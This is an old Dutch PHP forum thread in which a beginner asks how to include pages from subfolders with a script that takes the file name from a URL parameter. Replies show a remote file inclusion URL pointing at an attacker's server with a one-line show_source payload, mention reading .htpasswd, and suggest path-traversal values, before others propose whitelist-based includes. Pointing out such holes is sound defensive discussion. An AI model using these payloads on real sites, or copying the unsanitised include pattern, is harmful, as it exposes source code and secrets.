Toon posts:

[PHP] Include vraag (newbie)

Pagina: 1
Acties:

Verwijderd

Topicstarter
Hoi,

Ik heb net een include script gemaakt:
code:
1
2
3
4
5
6
7
8
9
10
11
<?php
if($action == "") {
include("news.php");
}
else {
if(file_exists("$action.php")) {
include("$action.php");
}
  
}
?>

Alleen nu vraag ik me het volgende af.
Dit werkt alleen als de pagina waar dit script in staat in dezelfde directory op de server staat als de pagina die geinclude moet worden.
Want stel ik wil guestbook.php aanroepen, maar die staat in de map guestbook/guestbook.php op de server.
Dan werkt het includen dus niet omdat het bestand waar dat include script in staat niet in de map guestbook staat.

Hoe moet ik het veranderen wil dat wel werken? :?

Verwijderd

Topicstarter
Ik roep de pagina's trouwens aan met .php?action=

  • vinnux
  • Registratie: Maart 2001
  • Niet online
Het includen van bestanden kan reletief en absoluut gebeuren.
Wanneer je bijvoorbeeld include('../iets.php') doet zal ie iets.php includen die in de directorie eronder staat.
include('../ergens/../nergens/ikke/jij/iets.php') is een goede include.

Voor meer informatie zou ik de manual maar ff lezen :
http://www.php.net/include

Verwijderd

Topicstarter
Ik begrijp wel wat je bedoelt maar dat gaat in mijn geval niet op. Of ik moet een ander include script gebruiken, of er moet iets verandert worden in de aanroep van de desbetreffende pagina's.
Alleen hoe, daar kom ik niet uit. :?

  • vinnux
  • Registratie: Maart 2001
  • Niet online
$action = '../iets/ergens/nergens/ja'

?action=../iets/ergens/nergens/ja

Et voila

Verwijderd

Topicstarter
Zou je misschien dat hele script even voor me willen aanpassen zodat ik het wel begrijp?

Ik ben namelijk nog best newbie. :P

  • vinnux
  • Registratie: Maart 2001
  • Niet online
Op maandag 06 mei 2002 01:25 schreef Waazaap het volgende:
Zou je misschien dat hele script even voor me willen aanpassen zodat ik het wel begrijp?

Ik ben namelijk nog best newbie. :P
Ik weet niet wat je er aan aan wilt passen:?
Je roep het script gewoon aan met. Het script heet include.php. Nou dan doe je dit http://127.0.0.1/include.php?action=../../ergens/iets/a

Dat moet toch niet zo heel moeilijk zijn !

Verwijderd

Topicstarter
Nee idd, bedankt! ;)

Alleen komt het er dan in me adresbalk dan ook zo uit te zien of ziet dat er gewoon uit als action=guestbook ofzo?

  • vinnux
  • Registratie: Maart 2001
  • Niet online
Op maandag 06 mei 2002 01:30 schreef Waazaap het volgende:
Nee idd, bedankt! ;)

Alleen komt het er dan in me adresbalk dan ook zo uit te zien of ziet dat er gewoon uit als action=guestbook ofzo?
WAT STAAT ER NOU ???Afbeeldingslocatie: http://www.cosin.nl/~vft/admin/smilies/images/hamer1.gif

Verwijderd

Topicstarter
Hehe, oops.

Bedankt voor de hulp! :z

  • WouZz
  • Registratie: Mei 2000
  • Niet online

WouZz

Elvis is alive!

Zo is je code wel allerminst veilig..

Stel, ik open http://www.jouwserver.nl/include.php?action=http://www.mijnserver.nl/hack.txt met in hack.txt:
PHP:
1
<?show_source('index.php');?>

voila, ik zie je source code! :9

/edit
hmmz.. je doet wel een if file_exists().. maar toch, check je bestandsnaam goed! Dat niet opeens iemand je .htpasswd op z'n scherm heeft staan ofzoow..

On track


  • vinnux
  • Registratie: Maart 2001
  • Niet online
Op maandag 06 mei 2002 01:38 schreef WouZz het volgende:
Zo is je code wel allerminst veilig..
......
Helaas gaat dat niet op ! En waarom niet :?
Omdat ie achter elke include .php zet.

Desalnitemin nog steeds onveilig als je een server hebt die geen php heeft.

Verwijderd

Topicstarter
Hoe stel jij het dan voor? :?

  • vinnux
  • Registratie: Maart 2001
  • Niet online
Op maandag 06 mei 2002 01:41 schreef Waazaap het volgende:
Hoe stel jij het dan voor? :?
Nou misschien een variabele in de sessie bijhouden ?

  • WouZz
  • Registratie: Mei 2000
  • Niet online

WouZz

Elvis is alive!

Hmmz.. ook al niet gezien.. ik moet maar eens gaan slapen.. :z

Maar als hij die file_exists niet had dan deed ik toch gewoon
http://www.jouwserver.nl/include.php?action=http://www.mijnserver.nl/hack
en rename ik em ff naar .php.. :?

Maar misschien kan je beter iets doen van
PHP:
1
<?if (empty($action))   include('news.php');else if ($action == 'guestbook')    include('guestbook/guestbook.php');else   echo 'error';?>

of een switch ofzo.. maar probeer variabelen in je include path te voorkomen..

On track


  • vinnux
  • Registratie: Maart 2001
  • Niet online
Afbeeldingslocatie: http://www.cosin.nl/~vft/admin/smilies/images/offtopic.gif
Ik ben te moe, om er nog iets zinnigs over te zeggen !
Dus nu allemaal snaveltjes toe en lekker gaan slapen.
En zet die computer uit !
:Z :z :Z :z ..................
:Z :z :Z :z .................
Afbeeldingslocatie: http://www.cosin.nl/~vft/admin/smilies/images/offtopic.gif

Verwijderd

Topicstarter
of een switch ofzo.. maar probeer variabelen in je include path te voorkomen..
En de enige oplossing van mijn probleem is dus om alles in de root te gooien? :?

  • WouZz
  • Registratie: Mei 2000
  • Niet online

WouZz

Elvis is alive!

offtopic:
hehe.. ik zat me al af te vragen of ik jullie nog weltrusten zou wensen... nou bij deze:

weltrusten!! :Z
[php]<?sleep(20000);?>[/php]

On track


  • tomato
  • Registratie: November 1999
  • Niet online
Een wat nettere manier om requests te verdelen over verschillende 'handlers' is bijvoorbeeld zoiets:
PHP:
1
<?// Action handlers (configuratie)$include_post = array(    "login"                    => "login.php",);$include_get = array(    "login"                    => "login.php",    "logout"                => "login.php",    "admin"                    => "admin.php",    "about"                    => "misc.php",    "links"                    => "misc.php",    "phpinfo"                => "misc.php",    "default"                => "default.php");/*  ...*/// Handler kiezenif ($include_post[$_POST['action']]) {    include('php/'.$include_post[$_POT['action']]);} else if ($include_get[$_GET['action']]) {    include('php/'.$include_get[$_GET['action']]);} else {    include('php/'.$include_get['default']);}?>

Slechts een voorbeeldje uiteraard ;)

Verder ga ik hier niet in op het directories-verhaal (dus eigenlijk een beetje off-topic), maar ik ben eigenlijk van mening dat je op die manier niet zou moeten werken.
In je map /php (in mijn voorbeeld) staan de 'handlers'. Is er veel code per handler nodig, dan kun je dat wel weer verdelen in submappen (maar dat regel je gewoon binnen de handler zelf).
Van buitenaf hoeft eigenlijk niemand te weten om welke .php bestanden het nou eigenlijk gaat.

  • Johnny
  • Registratie: December 2001
  • Laatst online: 10:23

Johnny

ondergewaardeerde internetguru

ik gebruik altijd de volgende manier:

- include bovenkant

- pagina

- include onderkant

Deze manier is heel wat moeilijker te kraken en makkelijk te maken.

Aan de inhoud van de bovenstaande tekst kunnen geen rechten worden ontleend, tenzij dit expliciet in dit bericht is verwoord.

Pagina: 1